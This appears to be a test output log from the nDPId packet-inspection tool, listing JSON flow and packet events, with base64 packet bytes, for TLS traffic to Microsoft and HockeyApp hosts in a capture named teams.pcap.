+00553{"flow_id":81,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2712,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041696,"pkt_ts_usec":498784,"pkt_caplen":158,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":158,"pkt_l4_len":124,"pkt":"EBMx8Tl2KDc3AG3ICABFAACQSB8AAEARpHvAqAEGXUduzcN0P80AfNVTAAEAYCESpEKDWwnX0gcAJk8k2boABgAJSkZ3ajorbUl2AAAAgCoACAAAf4pShlgAgHAABAAAAAeANgAEAAAAAQAlAAAAJAAEbv\/+\/4A3AAQAAAACAAgAFPLvVpmLRoXR+XSjZzwE+pIZjkn7gCgABO2z0lM="} +00515{"flow_id":80,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2713,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041696,"pkt_ts_usec":573676,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"pkt":"KDc3AG3IEBMx8Tl2CABFAAB0Vi4AADURoYhdR27NwKgBBj\/Mw2AAYGMtAQEARCESpEKyalJ26c+bCI1C0PWAcAAEAAAABwAgAAgAAcHVcadqCoA3AAQAAAACgDYABAAAAAEACAAUTaPAXiqXttOIXVsgmCJWtNuFFMWAKAAEjgd9gw=="} +00515{"flow_id":81,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2714,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041696,"pkt_ts_usec":574201,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"pkt":"KDc3AG3IEBMx8Tl2CABFAAB0IwoAADUR1KxdR27NwKgBBj\/Nw3QAYHcAAQEARCESpEKDWwnX0gcAJk8k2bqAcAAEAAAABwAgAAgAAc5scadqCoA3AAQAAAACgDYABAAAAAEACAAUw6PYcnYrotsM1O+VvNKE3YekJS+AKAAETRcPqA=="} +00375{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2715,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041696,"pkt_ts_usec":611304,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} +00155{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2715,"source":"teams.pcap","alias":"nDPId-test","type":38} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2730,"source":"teams.pcap","alias":"nDPId-test","flow_id":84,"flow_packet_id":1,"flow_first_seen":1587041697061,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"40.79.138.41","src_port":60568,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":84,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2730,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":61972,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGxpHAqAEGKE+KKeyYAbtVmTcwAAAAALAC\/\/8wcwAAAgQFtAEDAwUBAQgKMITmwQAAAAAEAgAA"} +00436{"flow_id":84,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2731,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":91344,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8X+VAAG4GOLAoT4opwKgBBgG77Jhhqm+9VZk3MaASIADeAQAAAgQFoAEDAwgEAggKC\/ZmGDCE5sE="} +00423{"flow_id":84,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2732,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":91452,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGxp3AqAEGKE+KKeyYAbtVmTcxYapvvoAQEAkclQAAAQEICjCE5t4L9mYY"} +00748{"flow_id":84,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2733,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":92026,"pkt_caplen":305,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":305,"pkt_l4_len":271,"pkt":"EBMx8Tl2KDc3AG3ICABFAAEjAABAAEAGxa7AqAEGKE+KKeyYAbtVmTcxYapvvoAYEAlljAAAAQEICjCE5t4L9mYYFgMBAOoBAADmAwMvt9\/l19PgHHhBJ7fePZ9nkIIpM9PqvMR3RuXFQQr78gAAKMAswCvAJMAjwArACcypwDDAL8AowCfAFMATzKgAnQCcAD0APAA1AC8BAACV\/wEAAQAAAAAXABUAABJnYXRlLmhvY2tleWFwcC5uZXQAFwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAM3QAAAASAAAAEAAwAC4CaDIFaDItMTYFaDItMTUFaDItMTQIc3BkeS8zLjEGc3BkeS8zCGh0dHAvMS4xAAsAAgEAAAoACgAIAB0AFwAYABk="} +00750{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2733,"source":"teams.pcap","alias":"nDPId-test","flow_id":84,"flow_packet_id":4,"flow_first_seen":1587041697061,"flow_last_seen":1587041697092,"flow_tot_l4_data_len":387,"flow_min_l4_data_len":32,"flow_max_l4_data_len":271,"flow_avg_l4_data_len":96,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"40.79.138.41","src_port":60568,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"gate.hockeyapp.net","ja3":"a69708a64f853c3bcc214c2c5faf84f3","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1"}} +02350{"flow_id":84,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2734,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":123566,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUX+dAAG4GMxYoT4opwKgBBgG77JhhqnVeVZk4IIAQBAXnDAAAAQEICgv2ZjgwhObedGlvbmluc2lnaHRzLmF6dXJlLmNvbYISZ2F0ZS5ob2NrZXlhcHAubmV0ghVkYy50cmFmZmljbWFuYWdlci5uZXSCH2F1c3NlLWJyZWV6aWVzdC1pbi5jbG91ZGFwcC5uZXSCHmJyenMtYnJlZXppZXN0LWluLmNsb3VkYXBwLm5ldIIdY2NhLWJyZWV6aWVzdC1pbi5jbG91ZGFwcC5uZXSCHWNmci1icmVlemllc3QtaW4uY2xvdWRhcHAubmV0gh1jaW4tYnJlZXppZXN0LWluLmNsb3VkYXBwLm5ldIIdY2tvLWJyZWV6aWVzdC1pbi5jbG91ZGFwcC5uZXSCHWN1cy1icmVlemllc3QtaW4uY2xvdWRhcHAubmV0gh9jdXMwMi1icmVlemllc3QtaW4uY2xvdWRhcHAubmV0gh1lYXMtYnJlZXppZXN0LWluLmNsb3VkYXBwLm5ldIIdZWF1LWJyZWV6aWVzdC1pbi5jbG91ZGFwcC5uZXSCHWVqcC1icmVlemllc3QtaW4uY2xvdWRhcHAubmV0gh1ldXMtYnJlZXppZXN0LWluLmNsb3VkYXBwLm5ldIIfZXVzMDItYnJlZXppZXN0LWluLmNsb3VkYXBwLm5ldIIfZXVzMDMtYnJlZXppZXN0LWluLmNsb3VkYXBwLm5ldIIfZXVzMDQtYnJlZXppZXN0LWluLmNsb3VkYXBwLm5ldIIfZXVzMDUtYnJlZXppZXN0LWluLmNsb3VkYXBwLm5ldIIeZXVzMi1icmVlemllc3QtaW4uY2xvdWRhcHAubmV0gh5uY3VzLWJyZWV6aWVzdC1pbi5jbG91ZGFwcC5uZXSCHW5ldS1icmVlemllc3QtaW4uY2xvdWRhcHAubmV0gh5zYWZuLWJyZWV6aWVzdC1pbi5jbG91ZGFwcC5uZXSCHnNjdXMtYnJlZXppZXN0LWluLmNsb3VkYXBwLm5ldIIdc2VhLWJyZWV6aWVzdC1pbi5jbG91ZGFwcC5uZXSCHXN1ay1icmVlemllc3QtaW4uY2xvdWRhcHAubmV0gh1zd24tYnJlZXppZXN0LWluLmNsb3VkYXBwLm5ldIIdd2V1LWJyZWV6aWVzdC1pbi5jbG91ZGFwcC5uZXSCH3dldTAyLWJyZWV6aWVzdC1pbi5jbG91ZGFwcC5uZXSCH3dldTAzLWJyZWV6aWVzdC1pbi5jbG91ZGFwcC5uZXSCHXd1cy1icmVlemllc3QtaW4uY2xvdWRhcHAubmV0gh53dXMyLWJyZWV6aWVzdC1pbi5jbG91ZGFwcC5uZXSCIHd1czIwMi1icmVlemllc3QtaW4uY2xvdWRhcHAubmV0MIGsBgNVHR8EgaQwgaEwgZ6ggZuggZiGS2h0dHA6Ly9tc2NybC5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3JsL01pY3Jvc29mdCUyMElUJTIwVExTJTIwQ0ElMjA1LmNybIZJaHR0cDovL2NybC5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3JsL01pY3Jvc29mdCUyMElUJTIwVExTJTIwQ0ElMjA1LmNybDBNBgNVHSAERjBEMEIGCSsGAQQBgjcqATA1MDMGCCsGAQUFBwIBFidodHRwOi8vd3d3Lm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9jcHMwHwYDVR0jBBgwFoAUCP4ln3TqhwTCvLuOqDhfM8bRbGUwHQYDVR0lBBYwFAYIKwYBBQUHAwIGCCsGAQUFBwMBMA0GCSqGSIb3DQEBCwUAA4ICAQAJWTZzx1MK5GdVXHHDNo4UfZmpqNSZyuP+i0NBu9AKrV3sQoq5pmeYJ7vP+oV2p39mLTb2oqM52AGvlnpmoTNJwN7XVFBPYI8jrT6ZwWv1hAZa"} +02368{"flow_id":84,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2735,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":123656,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUX+ZAAG4GMxcoT4opwKgBBgG77Jhhqm++VZk4IIAQBAVyJQAAAQEICgv2ZjgwhObeFgMDGyQCAABVAwNemFWhbnl7WUqfYm1R+o3Ql0XAiScTRcea89UxKH+n8yCpFQAAQf+OsMwa2a86lyxGKjOde+fqEWJ1inJtKjMpocAoAAANAAUAAAAXAAD\/AQABAAsAEkcAEkQADIYwggyCMIIKaqADAgECAhNuABQ+IygxVnX+3gt8AAAAFD4jMA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgNTAeFw0yMDAzMTcyMTQ2MTRaFw0yMjAzMTcyMTQ2MTRaMCcxJTAjBgNVBAMTHGRjLnNlcnZpY2VzLnZpc3VhbHN0dWRpby5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDTjRhywpCP09kk\/FUbRL0JHcwFbXYrKO+yEnwFM3rPYCWH\/N3ytkgm55W3De9R7TQ4nG6hXjvu49n3GFbb7tzgjX4oUgzhxxZTMBnakqeLogod6D5ZdDfokss9bp+ils6rtyCJ2XgEKGa5\/c8Mrrd6rtcviCMBXmgB2qxkza1z3wKmopsTvC\/wZ3Plw8ddfnLBdhAtnPdFwhZLXumxfbNwCtNzeqzd3gMfj6Vx9tJpzRnOOnFRUc8UHNW\/hDyGqfdV9oadinJHISOkaW14SG+NiKCbs62+K4kOYuse8tDejJHAH5YGV2juPptMgDxbpvzxpK0cFfQD7NTJKkWmOjp7AgMBAAGjgghAMIIIPDCCAYAGCisGAQQB1nkCBAIEggFwBIIBbAFqAHcARqVV63X6kSAwtaKJafTzfREsQXS+\/Um4havy\/HD+bUcAAAFw6n9T+QAABAMASDBGAiEAmX768G6NS+ZYbiNO9DZJmZdvkp6\/SHor7vGRrNqzQZQCIQCzE3PNmahLeoD1Ru15LTmGBf3T\/5eQtpKsbupBPVD5rAB2AEHIyrHfIkZKEMahOglCh15OMYsbA+vrS8do8JBilgb2AAABcOp\/U6gAAAQDAEcwRQIhAMlAkpZnDcncwQhl8yQ9bv\/urmUo\/HvBUXlQ2OoHaY9wAiBX8w8hdwe+ti1JzlOgo+l6ERsL\/85ZiYbyBS4PLBobRAB3AFWB1MIWkDYBSuoLm1c8U\/DA5Dh4cCUIFy+jqh0HE9MMAAABcOp\/VMgAAAQDAEgwRgIhAKECRib58RCo5MlQHGb4ATWRjKZrjAjdUPi+tLxPf7uOAiEAilsYu+v0osacw7zHLY7aZ\/y5oCRfVO4yXuUTkPyx1scwJwYJKwYBBAGCNxUKBBowGDAKBggrBgEFBQcDAjAKBggrBgEFBQcDATA+BgkrBgEEAYI3FQcEMTAvBicrBgEEAYI3FQiH2oZ1g+7ZAYLJhRuBtZ5hhfTrYIFdhNLfQoLnk3oCAWQCAR0wgYUGCCsGAQUFBwEBBHkwdzBRBggrBgEFBQcwAoZFaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDUuY3J0MCIGCCsGAQUFBzABhhZodHRwOi8vb2NzcC5tc29jc3AuY29tMB0GA1UdDgQWBBSJNZ2CkQqUlyOTG\/kUtmT72TvlhTALBgNVHQ8EBAMCBLAwggRZBgNVHREEggRQMIIETIIcZGMuc2VydmljZXMudmlzdWFsc3R1ZGlvLmNvbYIkZGMuYXBwbGljYXRpb25pbnNpZ2h0cy5taWNyb3NvZnQuY29tgiBkYy5hcHBsaWNh"} +00440{"flow_id":84,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2736,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":123672,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGxpHAqAEGKE+KKeyYAbtVmTggYapvvrAQEAkxvQAAAQEICjCE5v4L9mYYAQEFCmGqdV5hqnr+"} +00425{"flow_id":84,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2737,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":123703,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGxp3AqAEGKE+KKeyYAbtVmTggYap6\/oAQD68QgAAAAQEICjCE5v4L9mY4"} +02372{"flow_id":84,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2738,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":123794,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUX+hAAG4GMxUoT4opwKgBBgG77Jhhqnr+VZk4IIAQBAUGowAAAQEICgv2ZjgwhObeF\/KtH5EMefO8hv0pjo+hGaXILLf3FXEJEUNym4UkrCLWDamR59f1QmpKcgSIkZifPw\/6jT04Lx3G8j0u\/4Zr8jqlRUvE3IGU2i\/9PtddIGVo8QNa6Xkq8YGSG5VNgIqMIWbCkj8KJ+Czz+OcotlKrPgIDMBvcI4lpWpdQBZoNdY\/ftIR1NdqVrXotwyqYoxBWW54gatmCMI5+vrG+wwV9MdXq3rBSGLoxQncTvajDkV9i5fN4tSuYczQhYrBGR08owS10B3943mfIHr5DhObTJG3iM8z8j7RasCVMq\/+VyYlJVIsyOMCOHG8sv9fTaE2ij6GigWf\/juNwMk1x5uPV9+\/O8dKEkydhAbtb9ZVHFRiFtv\/fXg8D\/Yemtk8TlkLO6Zhh+iFVXckQUpYNXe1ooy7P7hUDicTS++Mgu1XjAkhTrNNty8pZaWucLOG4jFDYVxnhRF9NoO8URVfJk3w9jlssLCVT0Qxx7zinN8mIQmEz1QrPdOYm1I\/wWe+HOjmr36nHdTbGfZNfvsP5qR2Y+OL8cjV1OlMkGgqfDsgP5F+alHjTAiU4lKdHxO5qwAFuDCCBbQwggScoAMCAQICEAiIzVJfGSRETRSlgpHeuVIwDQYJKoZIhvcNAQELBQAwWjELMAkGA1UEBhMCSUUxEjAQBgNVBAoTCUJhbHRpbW9yZTETMBEGA1UECxMKQ3liZXJUcnVzdDEiMCAGA1UEAxMZQmFsdGltb3JlIEN5YmVyVHJ1c3QgUm9vdDAeFw0xNjA1MjAxMjUzMDNaFw0yNDA1MjAxMjUzMDNaMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgNTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAJrfgVw7j67peZa5mnmngfI52lUoRiMCxYJmB7YV3v2cOhqbkQnSZo8LiRf4cYchfzjTP5olALc10Kv4CHo281Bb3yspJ96k3SSS+vTGcI02KprwgN41+h5CnQmBqtUHChalxVpCbUK+HkKCtFcwmVtFK9SP0woGxnOTpOGD78W\/BSeneM2zC+CeIhbzmNymFOjMlNcj+dBQmbu1CxCV8d8C6Y+OnVaZPNiP01j7XJJ+PXv4UEla9xB7d\/jmSpBKVVLelK10CaBkVyzNB5CfFq2Vw9EGuvHvbAW1BKyp3Bsxmw4tGZUET95my601cq8ZggiyFDoWX7A8m9uNDLAC1iYf6BVxxO\/5YzlDjOnCki6hwqAwJQ6WJ1+eoyuC1hC9PBkepof+VSE6XEH8AZjML5L\/Zji0uGacDxJoS0qshrtemP+eppxTbDMRpNCuUkfXi4\/xlqy5KZqPLPGtZBjDJrsAZN5QcMC77MZrrtOg78DxXA3yzHpZ2hgzL1kQrWcULF8iQ0pE4ejd4OdVFk4J7wNMDEhQWvAD347vY8pbZ4dDQCwGth8PPlPAZj\/XFBXmCGKYSH6D5ae1XVEtVC1h\/TRd1LeAzdJ9zrEkO\/OXbGwT3ooXyYr1SJVC9xKQ4xAX9qEAxTYqZZGeBexCLlq4mRv\/1E61+mZV2YOOvwgpjfoLAgMBAAGjggFCMIIBPjAdBgNVHQ4EFgQUCP4ln3TqhwTCvLuOqDhfM8bRbGUwHwYDVR0jBBgwFoAU5Z1ZMIJHWMys+ghUNoZ7OrUETfAwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAYYwJwYDVR0lBCAwHgYIKwYBBQUHAwEGCCsGAQUFBwMCBggrBgEF"} +00425{"flow_id":84,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2739,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":123861,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGxp3AqAEGKE+KKeyYAbtVmTggYaqAnoAQEAAKjwAAAQEICjCE5v4L9mY4"} +02370{"flow_id":84,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2740,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":124052,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUX+lAAG4GMxQoT4opwKgBBgG77JhhqoCeVZk4IIAQBAWSHQAAAQEICgv2ZjgwhObeBQcDCTA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTA6BgNVHR8EMzAxMC+gLaArhilodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vT21uaXJvb3QyMDI1LmNybDA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzANBgkqhkiG9w0BAQsFAAOCAQEAPvLPMKV6vx5q3zlYGCg8w53u54HFS\/xn9r8fTjfa3vCv7or5A3tgZ3THO9r\/K0rr\/VR1E4vlwoESulISILopijrNQyTM1RcF\/pwWP3PgbUHAdj3yq0jFWWJkukRPChiCP0HqPxg6WOegMFd19dFqMRS2lJll2rboAd7kq\/u18+UZChhfpAJX3rZcJm9z\/i4J9QhDxA\/HJH+dKGdlodxb8Dr9+HCF56VPJN5CPx1EO12FBoUdHhzU2U5R5P0eERbMngDZlxqX42XHhjUbU3a+MtEsQUlLoz6TDFt3VwcwPDWLjNFpoif6VeirnRAe0RffumyJ08lb1wuUiKnYtJXXjhYABysBAAcnMIIHIwoBAKCCBxwwggcYBgkrBgEFBQcwAQEEggcJMIIHBTCBx6IWBBT9VOfspjpsX70VZxDzhO\/uVmwbaRgPMjAyMDA0MTQwNDQwMzNaMIGbMIGYMEwwCQYFKw4DAhoFAAQUKYX8YT2+L7ASD15CDkyew9We\/XwEFAj+JZ906ocEwry7jqg4XzPG0WxlAhNuABQ+IygxVnX+3gt8AAAAFD4jgAAYDzIwMjAwNDE0MDQ0MDMzWqARGA8yMDIwMDQxODA0NDAzM1qhIjAgMB4GCSsGAQUFBzABBgQRGA8yMDE5MDQxNTA0NDAzM1owDQYJKoZIhvcNAQELBQADggEBADkM19U0SmHlL3R\/ESJ19x4t0n8W5SjucBIYgjTO1GQJumgjW5tDii0LSvw3I3s7tfy8FCPvc2nuzYzAhWQU9+cGQBggRJE9+ZGhKKBB7ZmH0xtC8Lr0nt+OteoA4exsoLuFgGUdO5BnD4\/wtOusidOwcg1JE9GcgShEEPuRymds\/ZsCDQggl5k7w44OeYPJTAQQGFQrvNB0QQHCkXUCbnIxI74IMxt8cDmviehsHK3aLW60XdXL4Ul2HA6ASDdjOamK7xKakasLBICIXjY3LTREzy1mSB1\/ankSr+1o2t0XDCFVFKpaLTief2n7NrXROL\/o9qRXBV09fHsj2VsBp\/WgggUjMIIFHzCCBRswggMDoAMCAQICE24AE\/D2Kp4kxgB1wsEAAAAT8PYwDQYJKoZIhvcNAQELBQAwgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xFTATBgNVBAsTDE1pY3Jvc29mdCBJVDEeMBwGA1UEAxMVTWljcm9zb2Z0IElUIFRMUyBDQSA1MB4XDTIwMDMxNTE1MjQzOFoXDTIxMDMxNTE1MjQzOFowKzEpMCcGA1UEAwwgTWljcm9zb2Z0X0lUX1RMU19DQV81X0tleUJpbmRpbmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDLL8jj3UBzU\/au5HTPbtPMCk5oVv210n++4hY3ar0HqI9QquzZ4bSqFbTrvtEbBDUYjsuWRRyh7PmGb4\/i5111AQMiqmHCXMlUEoISsFDVWgU7ngCnMhwhp48l8JBmtkGzagdLpyHYHcSiPAlGCLd3jLiBKzM\/ueqOFFcN5TX5VPlL2bsNstKGUgz+WDhIfD0rhDLaagjE5kTA"} +02036{"flow_id":84,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2741,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":124067,"pkt_caplen":1259,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1259,"pkt_l4_len":1225,"pkt":"KDc3AG3IEBMx8Tl2CABFAATdX+pAAG4GNAooT4opwKgBBgG77JhhqoY+VZk4IIAYBAUm6QAAAQEICgv2ZjgwhObe5Hlzx57WHJdADehPDFVjuBfeAlZZfr5n6B895zjgrfQ5aiOSHga1h087GXde6\/l1KqhKH6h6hhEXE5ueZlHVt8E78+aTJ8R72aoP7RFMtNiGy6NcvSO5txy6nvamfpgaF+6trEkXAgMBAAGjgdYwgdMwHQYDVR0OBBYEFP1U5+ymOmxfvRVnEPOE7+5WbBtpMA4GA1UdDwEB\/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDCTAPBgkrBgEFBQcwAQUEAgUAMB8GA1UdIwQYMBaAFAj+JZ906ocEwry7jqg4XzPG0WxlMD4GCSsGAQQBgjcVBwQxMC8GJysGAQQBgjcVCIfahnWD7tkBgsmFG4G1nmGF9OtggV2BzJtHgcjpFgIBZAIBBzAbBgkrBgEEAYI3FQoEDjAMMAoGCCsGAQUFBwMJMA0GCSqGSIb3DQEBCwUAA4ICAQBuHFOoYYKg3cb0bUdjBxt0hVtcSnqF5W8ns\/9POrOjPDOf06GOC96qd9hr7hzAMCTioOAKpJ6fxlxkaOZvZAdvbi7AB\/SSaqRPF+sSsVoEuHOeBJYXeKJ2gjkaigkkIN5VcPFG2IjgkgIkk\/ho4Js9P+Uz3qAYfTPWFBpG+Iqrz0ohHyF5lnGmmGqBfpPCaUGisapj1uGyPYySvMpw6VrkfurOb2qw4NKYKHL+lu2XK0iQumrgg5H3wXsc3A2dOpPUQk4f6u4Cl+3z74P+XmrgzFCXvFQsZd46CNTqGRoEomrdF1xluttGd23tPXgK2Ij+kxVrxEG3nuAMNfvpbW6DLNtmaIB2\/MnW5seyQgrzAqc4X4+ejAnzHVfaGwQw8s2APMSDDKPlXsPqR4WzmEcRLj8qZWAjgb7afrWYUdpLL6GNC8talUqDHqz0IUfEREp2wMTNU05Iw3OOmn+EPWxxb3yKSz98D0BK3d0BfGuuINxw7D8yrEe5C7HzxcJW93BSLniXitCzJ7xP7vgE\/u7evLIsG4aYySMy3gMmFMW0e1fLKFisP7WNWhMY40d9uen4aX8Wo8+uJ5lC2sVG\/Fl3f5qa\/nbuVlQ5c4F9X4YT3X7ghItjAt95eutjN0qOIZLK0vLQBwDDhvcC5C2Ogjgr8KGdKMh8+Xh7DKUI1mYyvgwAAUkDABdBBENApT1WD8n+NPcc2lwkTMjKX2Pye0J8Q5LDXJfkJSsUCvGWlB\/XE6N2ulNsQZIFfT52adqXcpcO64Fyx9I6xm8EAQEAm1VgO4cYvXkkgC7ngwUlBKaIqA0J8j8ohsYrm4ucJLjUjBEaoLZou+zWc30TQgrUyvVRfDkXL1tTnoikLwVJr1r2x0lZRJD8mmubfoq42WcxRwRpAvHdy+IA7f765vp7354YyIkdmnsuECAi6he4ddDU1KadrcJ+CZJO2rlTmuw6UCpv0N6SqYGAPnbMLr1K+O9c\/3FOYKlvLt3jFunLCcm+YSyW40I140tVad2Zwan0auD2aszzrTjs\/7PYLAxAwv047pocwBHy0vrOQyf99HPAX25tg4PM7j5BHQR2lGma+zJg0538EQBu2g\/rNEXWH+j2Vrj7lLcObIEflZPvgA4AAAA="} 